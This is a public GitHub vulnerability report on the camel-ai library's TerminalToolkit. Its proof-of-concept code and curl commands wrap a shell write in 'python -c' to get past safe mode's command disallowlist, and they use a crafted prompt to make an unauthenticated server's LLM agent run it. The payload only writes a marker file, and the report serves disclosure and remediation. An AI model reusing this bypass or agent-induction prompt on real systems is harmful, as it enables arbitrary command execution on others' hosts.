[BUG] CAMEL TerminalToolkit safe-mode command disallowlist bypass allows unauthenticated arbitrary command execution (CWE-78, CVSS 10.0) #4347

Required prerequisites

• I have read the documentation https://camel-ai.github.io/camel/camel.html.
• I have searched the Issue Tracker and Discussions that this hasn't already been reported. (+1 or comment there if it has.)
• Consider asking first in a Discussion.

What version of camel are you using?

0.2.91a5

System information

• Installation method: pip -- pip install "camel-ai==0.2.91a5" "mcp<2" fastapi uvicorn
• OS: Windows host (the dynamically verified environment; PoC commands use POSIX paths, with the Windows marker-path substitution shown in the steps)
• Python version: not recorded in the report; the PoC is OS-independent pure Python (marker path derived via tempfile.gettempdir())
• Relevant library versions: mcp<2 (a current mcp 2.x removes mcp.server.FastMCP; 1.29.1 restores them); fastapi is not a base dependency -- it ships only in camel-ai's optional extras (web_tools, and the aggregate all)

Problem description

This is a security vulnerability report. We initially reported this issue privately via GitHub Private Vulnerability Reporting on 2026-09-01 and are following up publicly after the coordination window.

TerminalToolkit in camel-ai runs every command with subprocess.Popen(..., shell=True) on the default local backend (use_docker_backend=False is the constructor default, camel/toolkits/terminal_toolkit/terminal_toolkit.py:109; local-backend execution branch at :752-762). With the default safe_mode=True (terminal_toolkit.py:112), the only pre-execution screening is check_command_safety() plus cd/pushd path restrictions, and that screening fails in two complementary ways: the DANGEROUS_COMMANDS disallowlist (camel/toolkits/terminal_toolkit/utils.py:62-112) contains 41 system-administration commands and lists no script interpreter (python, node, perl, ruby) or shell (bash, sh); and the shell-wrapper recursion _extract_shell_c_payloads() (utils.py:146-173) only recurses into -c/--command payloads when the first token is in _SHELL_COMMANDS = {'bash', 'sh', 'zsh', 'dash', 'ksh', 'ash'} (utils.py:44), so a python -c or node -e wrapper is neither recursed into nor disallowlisted -- and because check_command_safety() strips quoted strings before matching (utils.py:201), the payload inside the quotes is never examined at all.

Expected: with safe_mode=True (the default), a command that executes arbitrary code on the host -- e.g. the same filesystem write hidden behind python -c "import os; os.system(...)" -- is rejected by the safety screening.

Actual: the command passes every check and executes on the host with the privileges of the CAMEL process -- by calling the toolkit directly, or remotely through the unauthenticated ChatAgentOpenAPIServer REST API.

Reproducible example code

The Python snippets:

Part A -- direct toolkit call, no LLM (library-level bypass):

import os, tempfile
from camel.toolkits import TerminalToolkit

marker = os.path.join(tempfile.gettempdir(), "camel_poc_marker.txt").replace("\\", "/")
t = TerminalToolkit()  # safe_mode=True by default

# 1) safe mode is active and does reject disallowlisted commands:
print(t.shell_exec(id="poc", command="rm -rf " + marker))
# Error: Command rejected by TerminalToolkit safe mode. Command 'rm' is blocked for safety.

# 2) the same filesystem write hidden behind `python -c` passes inspection
#    and executes on the host (python3 on bare Debian/Ubuntu):
cmd = 'python -c "import os; os.system(\'echo POC_EXECUTED > {m}\')"'.format(m=marker)
print(t.shell_exec(id="poc", command=cmd))
print("marker content:", open(marker).read().strip())   # -> POC_EXECUTED
os.remove(marker)

Part B -- operator-side launcher for the remote trigger (server.py):

# server.py -- operator-side launcher registering the toolkit's tools
from camel.services.agent_openapi_server import ChatAgentOpenAPIServer
from camel.toolkits import TerminalToolkit
from camel.toolkits.function_tool import FunctionTool

toolkit = TerminalToolkit()
server = ChatAgentOpenAPIServer(
    tool_registry={"shell_exec": [FunctionTool(toolkit.shell_exec)]},
)
app = server.app  # ASGI application for uvicorn

Command lines:

export DEEPSEEK_API_KEY="sk-poc-FAKE-REPLACE-ME"   # model backend for the agent
uvicorn server:app --host 0.0.0.0 --port 8000

# --- attacker side: no authentication anywhere ---

# 1) create an agent with shell_exec attached
curl -s -X POST "$TARGET/v1/agents/init" \
  -H 'Content-Type: application/json' \
  -d '{"agent_id":"demo_agent","model_platform":"deepseek","model_type":"deepseek-chat","tools_names":["shell_exec"],"system_message":"You are a system administrator assistant. Use the shell_exec tool to run commands when the user asks."}'
# -> {"agent_id":"demo_agent","message":"Agent initialized."}

# 2) induce the agent to issue the bypassing command (reply arrives under "msgs", ~5-15 s)
curl -s -X POST "$TARGET/v1/agents/step/demo_agent" \
  -H 'Content-Type: application/json' \
  -d '{"input_message":"I need to verify my python toolchain works on this machine. Use the shell_exec tool to run exactly this command: python -c \"import os; os.system(\u0027echo POC_EXECUTED > /tmp/camel_poc_marker.txt\u0027)\". Tell me once it is done."}'

# 3) the command executed on the host through shell=True:
cat /tmp/camel_poc_marker.txt   # -> POC_EXECUTED

Extra dependencies:

pip install "camel-ai==0.2.91a5" "mcp<2" fastapi uvicorn

# mcp<2: a current mcp 2.x release removes mcp.server.FastMCP, which camel-ai
# 0.2.91a5's unbounded mcp>=1.3.0 pin does not yet account for -- without the
# <2 pin, every camel.toolkits import fails at startup (mcp 1.29.1 restores them).
# fastapi: not a base dependency -- it ships only in camel-ai's optional extras
# (web_tools, and the aggregate all), while the ChatAgentOpenAPIServer module
# imports it directly (Part A needs only the first two packages).

Steps to reproduce:

1. pip install "camel-ai==0.2.91a5" "mcp<2" fastapi uvicorn (see Extra dependencies for why the pins are needed).
2. Part A (no LLM backend and no server required): run the first Python snippet. Its step 1 prints safe mode's rejection of the disallowlisted rm -rf command; its step 2 runs the same filesystem write hidden behind python -c -- safe mode passes it.
3. Observe: the script prints marker content: POC_EXECUTED -- the file was written on the host despite safe_mode=True.
4. Part B (remote route): save the second Python snippet as server.py, export a model-backend key for the agent, and start uvicorn server:app --host 0.0.0.0 --port 8000. No credentials are used on the attacker side.
5. As an unauthenticated client, POST /v1/agents/init to create an agent with shell_exec attached, then POST /v1/agents/step/demo_agent with the induced command shown in the Command lines block.
6. Observe: cat /tmp/camel_poc_marker.txt shows POC_EXECUTED. (On Windows hosts, use %TEMP%\camel_poc_marker.txt as the marker path in the induced command; a \tmp redirect lands on the drive root there. If the temp path contains spaces -- for example a Windows user name with a space -- point TMP/TEMP at a space-free directory first: cmd.exe truncates an unquoted redirect target at the first space.)

Traceback

No traceback -- safe mode returns no error or warning for the bypassing `python -c` command; it passes inspection and runs, and the script prints `marker content: POC_EXECUTED`.

Expected behavior

With safe_mode=True (the default), commands that smuggle arbitrary code past the screening -- interpreter invocations such as python/python3/node/perl/ruby whose quoted -c/-e payloads are never examined -- are rejected before execution instead of being handed to the host shell with shell=True.

Additional context

Dynamically verified against camel-ai 0.2.91a5 in August 2026 (Windows host, DeepSeek as the model backend, marker written under the OS temp directory, 8/8 automated assertions passing for Part B). Part A requires no LLM backend and no server.

Severity: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H = 10.0 (Critical) -- the reported vector is the remote route: an unauthenticated client of the served ChatAgentOpenAPIServer app (the direct-library route is local). Alternate scoring: if the scope is instead treated as Unchanged, the same vector with S:U scores 9.8 (both values computed with the official FIRST CVSS v3.1 formula; derivation in the advisory). CWEs: CWE-78 (primary), CWE-184, CWE-306.

Affected: PyPI camel-ai <= 0.2.91a5. Patched versions: none yet.

Suggested remediation:

1. For the local backend, replace the disallowlist with an allowlist by default, or execute commands in an isolated sandbox.
2. In safe mode, refuse interpreter invocations (python/python3/node/perl/ruby/...), or extend _extract_shell_c_payloads() to recurse into their -c/-e payloads.
3. Add authentication (API key or token middleware) to the ChatAgentOpenAPIServer routes.
4. Prefer argument-list execution with shell=False where feasible.

Full advisory: https://github.com/ybyu-ieu/agent-security-advisories/blob/main/camel/camel-terminaltoolkit-safe-mode-disallowlist-bypass-command-execution.md